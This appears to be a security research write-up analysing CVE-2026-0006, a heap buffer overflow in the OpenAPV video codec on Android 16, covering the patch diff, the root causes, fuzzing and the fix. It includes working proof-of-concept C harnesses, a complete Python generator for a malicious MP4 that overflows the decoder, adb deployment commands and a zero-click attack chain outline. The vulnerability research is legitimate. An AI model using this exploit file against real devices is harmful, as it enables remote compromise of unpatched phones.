CVE-2026-0006: Zero-Click RCE in Samsung’s OpenAPV Codec on Android 16
How a missing bounds check in a brand-new video codec leads to heap corruption — and how we proved it with two proof-of-concept exploits.
TL;DR — CVE-2026-0006 is a CVSS 9.8 heap buffer overflow in Samsung’s APV video codec on Android 16. Zero-click, no user interaction required. All credit for discovering this vulnerability goes to the original researchers. This is our patch analysis — we reverse-engineered the fix, built PoCs for OOB reads and writes, and reproduced the crash on Android.
Demo: Exploit in Action
Opening the crafted MP4 on a pre-patch Android 16 emulator — immediate crash in mediaswcodec
What Happened
In March 2026, Google patched CVE-2026-0006 — a critical heap buffer overflow in libopenapv, the open-source implementation of Samsung’s APV (Advanced Professional Video) codec. CVSS score: 9.8 Critical. Google confirmed it was actively exploited in the wild.
APV is Samsung’s royalty-free video codec, published as RFC 9924 in February 2026. It shipped on the Galaxy S26 Ultra and was integrated into Android 16 as a Mainline module — meaning it runs inside the media framework and processes video files automatically.
That last part is what makes this vulnerability so dangerous. Android’s media framework processes video files before the user ever opens them — for thumbnails, previews, and metadata. Send a crafted APV file via MMS, and the decoder runs automatically. No tap required. Zero-click.
Finding the Bug: Patch Diffing
Every Android Security Bulletin links to the AOSP commits that fix each CVE. For CVE-2026-0006, Google applied four commits to platform/external/libopenapv. The most revealing one is commit fb6a5eab — a targeted local fix that tells us exactly what was missing.
Here is what the patch adds to oapvd_decode(), the main decoder entry point:
Added by Patch — None of This Existed Before
oapv_assert_rv(bitb->ssize > 4, OAPV_ERR_MALFORMED_BITSTREAM);
u32 signature = oapv_bsr_read_direct(bitb->addr, 32);
oapv_assert_rv(signature == 0x61507631, OAPV_ERR_MALFORMED_BITSTREAM);
And to oapvd_info(), the AU info parser:
AU Size Validation — Also Added by Patch
oapv_assert_rv(au_size > 4, OAPV_ERR_MALFORMED_BITSTREAM);
Three things jump out:
- No buffer size check. Before this patch, the decoder never verified that the input buffer was large enough to even contain a header. A zero-length buffer? The decoder would start reading heap memory.
- No signature check. The magic bytes
'aPv1'(0x61507631) were never validated. Feed the decoder a JPEG, a PDF, random garbage — it would try to parse it all as APV. - No AU size validation. The
oapvd_info()function didn’t checkau_size > 4before parsing. An attacker-controlled size field could drive the decoder to read arbitrary amounts of memory.
The other three commits tell the rest of the story: c81fcd41 upgrades to v0.1.13.1 (adds parameter validation), cf0a0e7a upgrades to v0.2.0.0 (comprehensive safe bitstream access), and 86a76fd7 reverts the local fix since v0.2.0.0 supersedes it.
The Root Cause: Three Bugs in One
Bug 1: Unbounded Heap Read (CWE-122)
When the media framework hands a buffer to libopenapv, it passes a oapv_bitb_t struct with two fields: addr (pointer to data) and ssize (stated size). The vulnerable decoder trusts ssize completely. If an attacker crafts an APV file where the AU_SIZE header says “10,000 bytes” but the actual allocation is only 333 bytes, the decoder happily reads 9,667 bytes of whatever happens to be next on the heap.
Bug 2: Integer Overflow Bypasses the Bounds Check (CWE-190)
Inside the decode loop, each PBU (Payload Byte Unit) starts with a 4-byte size field. The decoder validates it like this:
Vulnerable Bounds Check
oapv_assert_gv((pbu_size + 4) <= bs->size, ret, OAPV_ERR, ERR);
Looks reasonable. But pbu_size is a 32-bit unsigned integer. What if an attacker sets it to 0xFFFFFFFC?
Integer Overflow
The check becomes 0 ≤ bs->size — always true. Bounds check completely bypassed.
It gets worse. After the check, the loop advances by pbu_size + 4:
cur_read_size += pbu_size + 4; // += 0 (due to overflow)
The read position never advances. The decoder enters an infinite loop, re-parsing the same location and reading deeper into unallocated heap memory with every iteration.
Bug 3: No Signature Validation (CWE-347)
Without checking for the 'aPv1' magic bytes, the decoder will attempt to parse any data as an APV bitstream. This expands the attack surface enormously — an attacker doesn’t even need to craft a convincing APV file header.
Setting Up the Lab
To prove these bugs are real and exploitable, we built the vulnerable library from source and wrote two proof-of-concept harnesses: one for out-of-bounds reads and one for out-of-bounds writes.
Building the Vulnerable Library
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv
git checkout v0.1.11.1 # Last vulnerable version
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-g -O0"
make -j$(nproc)
For the clearest crash evidence, we also built with AddressSanitizer (ASan). ASan places “red zones” around every heap allocation and immediately aborts if any read or write touches memory outside the allocation boundary:
cmake .. -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
The Test Bitstream
We generated a minimal valid APV file: 337 bytes total. It encodes a 64×64 pixel frame in YUV422 color space at 10-bit depth.
APV Bitstream Structure (337 bytes)
64×64 pixels • YUV422 • 10-bit • QP=30
This file is the foundation for all our tests. We corrupt it in different ways to trigger each vulnerability path.
PoC 1: Out-of-Bounds READ
Our first PoC (poc_asan_final.c) demonstrates that the decoder reads past the end of its input buffer. We use fork-based test isolation — each test runs in a child process so that an ASan crash doesn’t kill the remaining tests.
How It Works
The core idea is simple: allocate an exact-size buffer, copy our valid bitstream into it, then tell the decoder the buffer is larger than it actually is. ASan’s red zones surround the allocation, so any read past the end triggers an immediate abort.
Here is the key test (Test 2 from poc_asan_final.c):
OOB Read Attack — 3 Lines
// Allocate an EXACT-SIZE buffer — ASan places red zones around it
unsigned char *exact_buf = (unsigned char *)malloc(au_size); // 333 bytes
memcpy(exact_buf, au_buf, au_size);
// Set up the decoder
oapv_bitb_t bitb = {0};
bitb.addr = exact_buf;
bitb.ssize = au_size + 256; // LIE: claim 256 extra bytes
// Decode — the decoder will try to read 589 bytes from a 333-byte buffer
int ret = oapvd_decode(did, &bitb, &ofrms, NULL, &stat);
That’s the entire attack in three steps:
- Allocate 333 bytes (exact size of the valid bitstream)
- Tell the decoder the buffer is 589 bytes (333 + 256)
- The decoder reads past byte 333 into ASan’s red zone — crash
The Crash
ASan Output — heap-buffer-overflow (READ)
==16496==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51300000018d
READ of size 1 at 0x51300000018d thread T0
#0 bsr_flush (oapv_bs.c — bitstream byte reader)
#1 oapv_bsr_read (oapv_bs.c — bit-level read)
#2 oapvd_vlc_tile (oapv_vlc.c — tile VLC decoder)
#3 dec_thread_tile (oapv.c — tile decode thread)
#4 oapvd_decode (oapv.c:1996 — main decode loop)
0x51300000018d is located 0 bytes after 333-byte region
[0x513000000040,0x51300000018d)
ASan tells us the read happened at the exact first byte past the 333-byte allocation. The crash occurs in bsr_flush() — the lowest-level byte-read function in the bitstream reader. The decoder doesn’t check bounds at any level.
The shadow memory map confirms it:
0x513000000180: 00[05]fa fa fa fa fa fa
00 = valid memory, 05 = last 5 bytes of allocation, fa = heap red zone. The decoder stepped right off the edge.
Poison Data Test
We also ran a test without ASan to prove the decoder processes the out-of-bounds data, not just reads past it. We replaced everything after byte 50 with poison bytes (0xDE) and decoded:
Buffer hex (poison starts at offset 0x32):
0030: 1e 1e de de de de de de de de de de de de de de
0040: de de de de de de de de de de de de de de de de
Result: ret=0, stat.read=333
*** VULNERABILITY CONFIRMED: HEAP OOB READ ***
Decoder consumed 283 bytes of poison/attacker-controlled data
The decoder returned success (ret=0) and reported reading all 333 bytes — even though 283 of those bytes were poison. It treated attacker-controlled garbage as valid tile coefficients and processed them through the full decode pipeline.
Integer Overflow Test
We set PBU_SIZE to 0xFFFFFFFC to trigger the integer overflow:
Corrupted PBU_SIZE: 0xFFFFFFFC (4,294,967,292)
(pbu_size + 4) = 0x00000000 (integer overflow to 0)
oapvd_info result: ret=-103, frames=16
The decoder parsed 16 phantom frames from a 333-byte buffer. It read deep into unallocated heap memory, interpreting garbage as APV frame structures. The return code -103 means it hit the maximum frame count limit — without that limit, it would keep going indefinitely.
PoC 2: Out-of-Bounds WRITE
Reading past a buffer is dangerous. Writing past a buffer is catastrophic — that’s how you get code execution. Our second PoC (poc_oob_write.c) proves the same vulnerability enables heap writes, not just reads.
The Write Chain
When the decoder processes a frame, it doesn’t just read the bitstream — it writes decoded pixel data to an output image buffer. Here’s the chain:
Decoder Write Path
The final function WRITES decoded 16-bit pixels to the output image buffer
The critical function is block_to_imgb_10bit(). It writes decoded 16-bit pixel values to the output image at positions calculated from the tile layout:
d16 = (s16*)(dst + blk_y * s_dst) + blk_x;
Where blk_y and blk_x come from the tile position in the frame header — which is part of the attacker-controlled bitstream. If the frame header claims the frame is larger than the actual output buffer, the decoder writes decoded pixels past the end of the buffer.
How the PoC Works
The attack: allocate a small output buffer (16×16 pixels) but give the decoder a bitstream that claims the frame is 64×64 pixels. The decoder computes tile write positions for a 64×64 frame and writes to them — overflowing the 16×16 buffer.
OOB Write Attack — Undersized Output Buffer
// Bitstream says 64x64, but we allocate only 16x16
int small_w = 16, small_h = 16;
oapv_frms_t ofrms = {0};
ofrms.num_frms = 1;
ofrms.frm[0].imgb = imgb_create(small_w, small_h, real_cs);
// imgb->a[0] buffer: 512 bytes (16 x 16 x 2 bytes per pixel)
// Bitstream expects: 8192 bytes (64 x 64 x 2 bytes per pixel)
oapv_bitb_t bitb = {0};
bitb.addr = (void *)au_buf;
bitb.ssize = au_size;
// Decode — decoder writes 64x64 pixels into a 16x16 buffer
int ret = oapvd_decode(did, &bitb, &ofrms, NULL, &stat);
The output buffer is 512 bytes. The decoder tries to write 8,192 bytes of decoded pixel data into it. That’s a 7,680-byte heap overflow write.
Test B: Corrupted Tile Data
We also tested a second write path: keep the correct output buffer size but corrupt the tile data in the bitstream. When the VLC decoder reads garbage coefficients, the inverse transform amplifies them into extreme pixel values that get written to the output buffer at unexpected positions:
// Keep frame info intact, corrupt tile data with 0xFF
int tile_data_start = 60;
memset(corrupt + tile_data_start, 0xFF, au_size - tile_data_start);
When all VLC coefficients decode to maximum values, the inverse transform produces pixel values that overflow their expected range, and the write destinations computed from corrupted tile headers land outside the allocated buffer.
The Crashes
All three OOB Write tests crash under ASan:
ASan Output — heap-buffer-overflow (WRITE) — 3/3 Tests
Test A: [CRASH] signal 6 (SIGABRT — ASan detected OOB WRITE)
imgb->a[0] buffer size: 512 bytes (for 16x16)
Bitstream expects: ~8192 bytes (for 64x64)
Test B: [CRASH] signal 6 (SIGABRT — ASan detected OOB WRITE)
Corrupted 273 bytes of tile data (offset 60+)
Test C: [CRASH] signal 6 (SIGABRT — ASan detected OOB WRITE)
imgb plane 0: 512 bytes allocated (16x16, stride=32)
Decoder tried to write 8192 bytes of decoded pixel data
3 out of 3 tests crash with ASan-confirmed out-of-bounds WRITE. The decoder writes decoded pixel data past the end of the output buffer — a textbook heap buffer overflow that, combined with heap shaping, gives an attacker a write-what-where primitive.
PoC 3: End-to-End Exploit via MP4 on Android
The library-level PoCs prove the bugs exist. But the real question is: can you trigger this through the actual Android media framework, from a file on disk? Yes.
We tested on an Android 16 emulator (sdk_gphone64_arm64, security patch 2026-01-05 — before the March 2026 fix) with the APV decoder enabled.
The Attack Vector
The Android APV decode path works like this:
Android Media Framework → APV Decoder
oapvd_info() reads AU_INFO PBU → allocates buffers. oapvd_decode() reads FRAME PBU → writes pixels.
The key insight: oapvd_info() and oapvd_decode() read dimensions from different PBUs. When oapvd_info() encounters an AU_INFO PBU (type 65), it returns immediately with those dimensions and never reads the actual frame header. But oapvd_decode() skips the AU_INFO PBU and reads dimensions from the FRAME PBU’s header.
If the AU_INFO says 16×16 but the frame header says 64×64, the framework allocates 16×16 buffers and the decoder writes 64×64 pixels into them.
Crafting the Exploit MP4
The exploit MP4 (generate_overflow_mp4.py) takes a valid APV-in-MP4 file and:
- Patches the
apvCbox — sets declared dimensions to 16×16 (initial codec configuration) - Patches the
apv1sample entry — width/height to 16×16 - Patches
tkhd— track dimensions to 16×16 - Injects an AU_INFO PBU (type 65) before the real FRAME PBU in the
mdat— claims 16×16
The actual frame PBU inside mdat still contains the original 64×64 bitstream.
The full generator script (generate_overflow_mp4.py):
#!/usr/bin/env python3
"""
CVE-2026-0006 Exploit MP4 Generator
Attack: AU_INFO PBU declares 16x16 -> oapvd_info reports 16x16 -> small buffers.
FRAME PBU header declares 64x64 -> oapvd_decode writes 64x64 -> overflow.
Prerequisites:
1. valid.apv (64x64 YUV422 10-bit APV bitstream)
2. apv-mp4/valid_ffmpeg.mp4 baseline:
ffmpeg -f apv -i valid.apv -c copy -y apv-mp4/valid_ffmpeg.mp4
"""
import os, struct, sys
script_dir = os.path.dirname(os.path.abspath(__file__))
apv_path = os.path.join(script_dir, 'valid.apv')
baseline_mp4 = os.path.join(script_dir, 'apv-mp4', 'valid_ffmpeg.mp4')
output_mp4 = os.path.join(script_dir, 'apv-mp4', 'overflow_auinfo.mp4')
with open(apv_path, 'rb') as f:
apv = f.read()
original_pbu_data = apv[4:] # strip AU_SIZE
# Build AU_INFO PBU (type 65) claiming 16x16
au_info_payload = b''
au_info_payload += struct.pack('>H', 1) # num_frames = 1
au_info_payload += bytes([0x01]) # pbu_type = PRIMARY_FRAME
au_info_payload += struct.pack('>H', 1) # group_id = 1
au_info_payload += bytes([0x00]) # reserved
au_info_payload += bytes([0x21]) # profile_idc
au_info_payload += bytes([0x7B]) # level_idc
au_info_payload += bytes([0x40]) # band_idc(3)=010 + reserved(5)
au_info_payload += bytes([0x00, 0x00, 0x10]) # frame_width = 16
au_info_payload += bytes([0x00, 0x00, 0x10]) # frame_height = 16
au_info_payload += bytes([0x22]) # chroma_format_idc=2 + bit_depth=2
au_info_payload += bytes([0x00, 0x00, 0x00]) # capture_time + reserved
pbu_header = bytes([65, 0x00, 0x00, 0x00]) # type=65(AU_INFO)
pbu_size = len(pbu_header) + len(au_info_payload)
au_info_pbu = struct.pack('>I', pbu_size) + pbu_header + au_info_payload
# Combine: AU_INFO PBU (16x16) + original FRAME PBU (64x64)
all_pbu_data = au_info_pbu + original_pbu_data
au_payload_with_sig = b'aPv1' + all_pbu_data
new_au_size = len(au_payload_with_sig)
mdat_data = struct.pack('>I', new_au_size) + au_payload_with_sig
with open(baseline_mp4, 'rb') as f:
mp4 = bytearray(f.read())
# Patch apvC, apv1 VSE, tkhd dimensions to 16x16
apvc_off = mp4.index(b'apvC')
struct.pack_into('>I', mp4, apvc_off + 4 + 12, 16)
struct.pack_into('>I', mp4, apvc_off + 4 + 16, 16)
apv1_off = mp4.index(b'apv1')
vse_w_off = apv1_off + 4 + 6 + 2 + 16
struct.pack_into('>H', mp4, vse_w_off, 16)
struct.pack_into('>H', mp4, vse_w_off + 2, 16)
tkhd_off = mp4.index(b'tkhd')
tkhd_size = struct.unpack('>I', mp4[tkhd_off-4:tkhd_off])[0]
tkhd_end = tkhd_off - 4 + tkhd_size
struct.pack_into('>I', mp4, tkhd_end - 8, 16 << 16)
struct.pack_into('>I', mp4, tkhd_end - 4, 16 << 16)
# Replace mdat with crafted payload
mdat_tag_off = mp4.index(b'mdat')
mdat_box_start = mdat_tag_off - 4
old_mdat_size = struct.unpack('>I', mp4[mdat_box_start:mdat_box_start+4])[0]
new_mdat_box = struct.pack('>I', 8 + len(mdat_data)) + b'mdat' + mdat_data
new_mp4 = bytearray(mp4[:mdat_box_start]) + new_mdat_box \
+ mp4[mdat_box_start + old_mdat_size:]
# Update stsz sample size and stco chunk offset
stsz_off = new_mp4.index(b'stsz')
stsz_sample_size = struct.unpack('>I', new_mp4[stsz_off+8:stsz_off+12])[0]
idx = stsz_off + 8 if stsz_sample_size != 0 else stsz_off + 16
struct.pack_into('>I', new_mp4, idx, len(mdat_data))
stco_off = new_mp4.index(b'stco')
struct.pack_into('>I', new_mp4, stco_off + 12, mdat_box_start + 8)
with open(output_mp4, 'wb') as f:
f.write(new_mp4)
print(f"Container + AU_INFO: 16x16 | FRAME PBU: 64x64 | Overflow: ~14,848 bytes")
The Crash
Opening the MP4 from /sdcard/ on the pre-patch emulator triggers an immediate crash in the mediaswcodec process:
Tombstone — SIGSEGV in mediaswcodec
F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
F DEBUG : pid: 4944, tid: 4954, name: oid.apv.decoder
F DEBUG : Executable: /apex/com.android.media.swcodec/bin/mediaswcodec
backtrace:
#00 blk_to_imgb_p21x_uv+156 libcodec2_soft_apvdec.so
#01 dec_thread_tile+1760 libcodec2_soft_apvdec.so
#02 oapvd_decode+1516 libcodec2_soft_apvdec.so
#03 C2SoftApvDec::process+1776 libcodec2_soft_apvdec.so
The backtrace tells the full story: C2SoftApvDec::process() calls oapvd_decode(), which processes 64×64 tiles via dec_thread_tile(), and blk_to_imgb_p21x_uv() writes decoded UV pixel blocks past the end of the 16×16 output buffer into unmapped memory → SEGV_MAPERR.
The logcat confirms the dimension mismatch:
CCodecConfig: c2::u32 raw.size.width = 16 ← buffer allocation
CCodecConfig: c2::u32 raw.size.height = 16
C2SoftApvDec: decode done, input size: 364, processed size: 337
CCodecBuffers: updating stride = 16, width: 16, height: 16
Buffers were allocated for 16×16 (1,536 bytes across 3 planes). The decoder wrote 64×64 (16,384 bytes) — a 14,848-byte heap buffer overflow.
Heap Corruption of Adjacent Objects
On a second run, the overflow didn’t hit a guard page — instead, it silently corrupted adjacent heap objects. The crash occurred later when the process tried to use those objects:
Tombstone — Corrupted HIDL/IPC Structures
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 IPCThreadState::waitForResponse ← corrupted binder object
#03 Component::Listener::onWorkDone_nb ← reporting decoded frame
#04 SimpleC2Component::processQueue ← after oapvd_decode completed
The decoder returned success while silently corrupting ~14KB of adjacent heap memory. When processQueue then tried to send the work result back via HIDL IPC, it dereferenced a corrupted pointer — classic heap corruption leading to a crash in an unrelated code path. This is exactly how a real exploit chains a buffer overflow into code execution.
ASan Verification via MP4
The system crash from the gallery proves the bug is reachable, but the tombstone only shows a SIGSEGV — we want ASan’s precise “WRITE of size N at address X” report. The problem: Android’s libcodec2_soft_apvdec.so has libopenapv statically linked. You can’t get ASan output by preloading the ASan runtime — ASan requires compile-time instrumentation of every memory access. The system binary has none.
So we wrote a standalone harness (poc_mp4_asan.c) that replicates C2SoftApvDec::process() exactly: parse the MP4, extract the sample from mdat, call oapvd_info() to get dimensions, allocate output buffers based on those dimensions, then call oapvd_decode(). We compiled it with ASan against the vulnerable libopenapv source and ran it on the ARM64 emulator:
ASan Output — heap-buffer-overflow (WRITE) via MP4
[+] Loaded MP4: overflow_auinfo.mp4 (1178 bytes)
[+] mdat: 368 bytes
[+] AU_SIZE field: 364
[+] Signature: 0x61507631 (aPv1)
[+] oapvd_info: ret=0, num_frms=1
[+] oapvd_info reports: 16x16 cs=0xa0c
[+] Plane 0: 16x16 (aligned 16x16) buffer=512 bytes
[+] Plane 1: 8x16 (aligned 16x16) buffer=512 bytes
[+] Plane 2: 8x16 (aligned 16x16) buffer=512 bytes
==17610==ERROR: AddressSanitizer: heap-buffer-overflow
on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
Shadow bytes around the buggy address:
0x006f770f0500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x006f770f0580:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
00 = valid, fa = heap red zone
ASan confirms: the decoder wrote a 2-byte pixel value at the exact first byte past the 512-byte buffer. oapvd_info() returned 16×16 (from the AU_INFO PBU), buffers were allocated for 16×16, then oapvd_decode() decoded 64×64 pixels from the FRAME PBU and overflowed.
The cross-compilation workflow:
# Build libopenapv with ASan for ARM64
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
cd openapv && mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# Cross-compile the PoC and run on device
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
Standalone Verification on Android
We also cross-compiled a standalone PoC (poc_android_oob_write.c) with the vulnerable libopenapv v0.1.11.3 for ARM64 and ran it directly on the emulator. Using guard regions (memory poisoned with 0xDE):
Guard Region Overflow — 14,848 Bytes
=== TEST B: UNDERSIZED buffer (16x16 for 64x64 frame) ===
[*] Plane 0: decoder will write 8192 bytes into 512-byte buffer
[*] Plane 1: decoder will write 4096 bytes into 512-byte buffer
[*] Plane 2: decoder will write 4096 bytes into 512-byte buffer
[+] oapvd_decode ret=0
[!!!] PLANE 0: 7680 bytes OVERFLOW past 512-byte buffer!
[!!!] PLANE 1: 3584 bytes OVERFLOW past 512-byte buffer!
[!!!] PLANE 2: 3584 bytes OVERFLOW past 512-byte buffer!
[!!!] CVE-2026-0006: HEAP BUFFER OVERFLOW CONFIRMED
[!!!] Total overflow: 14848 bytes across all planes
The decoder returned success (ret=0) while silently corrupting 14,848 bytes of heap memory. No error, no bounds check — just silent heap corruption that an attacker can shape into a write-what-where primitive.
Fuzzing the Decoder: Finding Crashes Automatically
The PoCs above prove specific vulnerability paths with hand-crafted inputs. But how would you discover these bugs in the first place, without reading the patch? Fuzzing — feeding massive amounts of mutated data to the decoder and watching it crash. We built two fuzzers: a dumb blackbox mutator and a smart coverage-guided fuzzer. Both find the bugs within seconds.
Approach 1: Blackbox Fuzzing (Dumb Mutation)
The simplest fuzzer: start with a valid APV file, randomly corrupt bytes, feed each mutant to the decoder in a forked child process. Five mutation strategies: bit flips, boundary values (0xFFFFFFFC for integer overflow), truncation, byte insertion, and region overwrite.
Result: 500/500 iterations crash the decoder. The vulnerability is so pervasive that even random byte flips produce crashes. Most common: (pbu_size + 4) <= bs.size assertion (211 hits) and corrupted PBU type (272 hits).
Approach 2: Whitebox Fuzzing (Coverage-Guided)
Same mutation strategy but with coverage feedback. We compile the library with -fsanitize-coverage=trace-pc-guard, which inserts a callback at every branch. The fuzzer tracks which code edges each input reaches via a MAP_SHARED bitmap (same technique as AFL). When a mutation discovers new code paths, the fuzzer saves it and mutates further.
Result: 500/500 crashes, corpus grew from 1 seed to 17 entries covering 54 code edges. The coverage guidance systematically explored different crash paths rather than hitting the same bug repeatedly.
Approach 3: AFL++ (Industry-Standard Fuzzer)
In practice you’d use AFL++ rather than custom fuzzers. Key advantage: QEMU mode for fuzzing closed-source binaries. On Android, libopenapv ships as a prebuilt .so — AFL++ QEMU mode uses binary translation to collect coverage without recompilation.
# Instrumented mode (with source)
afl-fuzz -i corpus/ -o findings/ -- ./fuzz_afl_harness @@
# QEMU mode (no source needed)
afl-fuzz -Q -i corpus/ -o findings/ -- ./fuzz_afl_harness_noinst @@
Result (60 seconds): 16 unique crashes, corpus 1 → 49 entries, 167 code edges, 24.7% bitmap coverage.
Approach 4: Random Metadata Fuzzer (AFL++ — Any File Input)
The vulnerable decoder has no signature check — it accepts any data. This fuzzer feeds raw bytes directly into oapvd_info() with no structure awareness:
oapv_au_info_t aui = {0};
oapvd_info((void *)buf, size, &aui); /* raw bytes, no header parsing */
Result (60 seconds): 8 unique crashes, first crash at 0.38 seconds. Proves the decoder crashes on data that bears no resemblance to APV — any file on the system can trigger the vulnerability.
Comparison: All Four Fuzzing Approaches
| Metric | Blackbox | Whitebox | AFL++ (decode) | AFL++ (random) |
|---|---|---|---|---|
| Seed type | valid APV | valid APV | valid APV | random bytes |
| Structure aware | Header-aware | Header-aware | Header-aware | None |
| Run time | ~30s | ~30s | 60s | 60s |
| Crashes found | 483 (96%) | 500 (100%) | 16 unique | 8 unique |
| First crash | iter 0 | iter 0 | ~12s | ~0.38s |
| Corpus growth | N/A | 1 → 29 | 1 → 49 | 3 → 3 |
| Edge coverage | N/A | 162 | 167 (24.7%) | 20 (21.5%) |
| Source needed | Yes | Yes | No (QEMU) | No (QEMU) |
For a real-world engagement: use the random fuzzer to quickly confirm the attack surface, then the full decode fuzzer for deeper exploration. Use QEMU mode when you only have the binary.
From Bug to Exploit: The Attack Chain
With OOB reads, OOB writes, and end-to-end MP4 exploitation all proven, here’s the full zero-click RCE chain:
Step 1: Craft the Payload
The attacker builds a malformed MP4 file with mismatched AU_INFO and FRAME PBU dimensions. The apvC configuration box and AU_INFO PBU declare small dimensions (16×16), while the actual frame bitstream encodes large dimensions (e.g., 1920×1080). The MP4 is only ~1.2 KB.
Step 2: Deliver Without Interaction
The attacker sends the file via MMS, email, or any other channel. Android’s media framework automatically processes incoming media for thumbnails and previews. The APV decoder runs before the user ever sees the message.
Step 3: Trigger the Overflow
The mediaswcodec process decodes the MP4:
oapvd_info()reads the AU_INFO PBU → reports 16×16 → small buffers allocatedoapvd_decode()reads the FRAME PBU header → 64×64 → writes decoded pixels into 16×16 buffers- 14,848+ bytes of heap overflow — silent corruption or crash depending on heap layout
Step 4: Achieve Code Execution
By carefully shaping the heap layout before the overflow, the attacker places target objects (vtable pointers, callback structures, buffer descriptors) adjacent to the decoder’s output buffer. The overflow overwrites these objects with attacker-controlled data, redirecting execution to shellcode or a ROP chain.
The exploit runs with media server privileges — access to camera, microphone, and all media data on the device.
How It Was Fixed
The fix came in three waves:
Wave 1 — Immediate Bounds Checks (commit fb6a5eab)
Added ssize > 4 validation and 'aPv1' signature check at the decoder entry point. Malformed data is rejected before any parsing begins.
Wave 2 — Parameter Validation (v0.1.13.1)
Added the oapv_param.c module for systematic input validation of frame dimensions, tile sizes, and other decoded parameters.
Wave 3 — Safe Bitstream Access (v0.2.0.0)
Rewrote the bitstream reader to validate remaining buffer length before every single byte read. Even if future bugs bypass higher-level checks, the low-level reader won’t read past the buffer.
Because libopenapv is an Android Mainline module, the fix was delivered through Google Play system updates — no OEM firmware update required.
Lessons Learned
New codecs are high-value targets. APV went from RFC publication to in-the-wild exploitation in under a month. Novel media codecs process untrusted data, run with elevated privileges, and haven’t been hardened by years of fuzzing. They deserve immediate security scrutiny.
Integer overflow is not exotic. The (pbu_size + 4) overflow looks like a textbook example, but it bypassed a bounds check that appeared correct on casual inspection. The fix: check for overflow explicitly before the arithmetic: if (pbu_size > SIZE_MAX - 4).
Validate at every boundary. The root cause is missing input validation at the decoder entry point. Every buffer size, magic value, and field range must be checked before processing begins. Trust nothing from the bitstream.
Reads become writes. A heap OOB read alone is dangerous (information leaks, ASLR bypass). But when the same decoder also writes decoded output based on attacker-controlled parameters, the read primitive becomes a write primitive — and writes become code execution.
Timeline
| Date | Event |
|---|---|
| Feb 2026 | APV published as RFC 9924; Galaxy S26 Ultra ships with APV support |
| Feb–Mar 2026 | CVE-2026-0006 exploited in the wild |
| Mar 2026 | Android Security Bulletin patches CVE-2026-0006 |
| Mar 2026 | libopenapv v0.2.0.0 released with comprehensive fix |
Reproduction
Build the Vulnerable Library
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
# Standard build
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-g -O0"
make -j$(nproc)
# ASan build (for definitive crash evidence)
mkdir ../build_asan && cd ../build_asan
cmake .. -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
Compile and Run the OOB Read PoC
clang -g -O0 -fsanitize=address -DLINUX=1 \
-I../inc -I./include -I../app \
poc_asan_final.c ./lib/liboapv.a \
-lpthread -lm -o poc_asan
cp valid.apv /tmp/
ASAN_OPTIONS="detect_leaks=0" ./poc_asan
Expected: ASan heap-buffer-overflow crash on Tests 2 and 5 (OOB reads), assertion crash on Tests 3 and 4.
Compile and Run the OOB Write PoC
clang -g -O0 -fsanitize=address -DLINUX=1 \
-I../inc -I./include -I../app \
poc_oob_write.c ./lib/liboapv.a \
-lpthread -lm -o poc_oob_write
ASAN_OPTIONS="detect_leaks=0" ./poc_oob_write
Expected: ASan heap-buffer-overflow WRITE crash on all 3 tests.
Generate and Test the Exploit MP4
# Requires: Android 16 emulator (pre-March 2026 patch)
# The baseline apv-mp4/valid_ffmpeg.mp4 is included in the repo.
# To regenerate: ffmpeg -f apv -i valid.apv -c copy -y apv-mp4/valid_ffmpeg.mp4
# 1. Generate the exploit MP4
python3 generate_overflow_mp4.py
# 2. Push to emulator and trigger via stagefright
adb push apv-mp4/overflow_auinfo.mp4 /sdcard/
adb shell stagefright -o /sdcard/overflow_auinfo.mp4
# Expected: SIGSEGV in blk_to_imgb_p21x_uv → tombstone written
PoC Artifacts
All PoC scripts and exploit tools are available on GitHub: mobilehackinglab/CVE-2026-0006-openapv-poc
| File | Description |
|---|---|
poc_asan_final.c |
OOB Read PoC — 5 fork-isolated tests, ASan crash evidence |
poc_oob_write.c |
OOB Write PoC — 3 fork-isolated tests, proves heap write overflow |
poc_mp4_asan.c |
MP4 ASan PoC — mimics C2SoftApvDec decode path, ASan-confirmed WRITE overflow |
poc_android_oob_write.c |
Android ARM64 PoC — cross-compiled, guard region overflow detection |
poc_final.c |
Guard region PoC — 5 tests, runs without ASan |
generate_overflow_mp4.py |
Generates exploit MP4 with AU_INFO dimension mismatch |
deploy_exploit_mp4.sh |
One-shot: generate, push, and open exploit MP4 on Android device |
valid.apv |
Valid 337-byte APV bitstream (64×64, YUV422, 10-bit) |
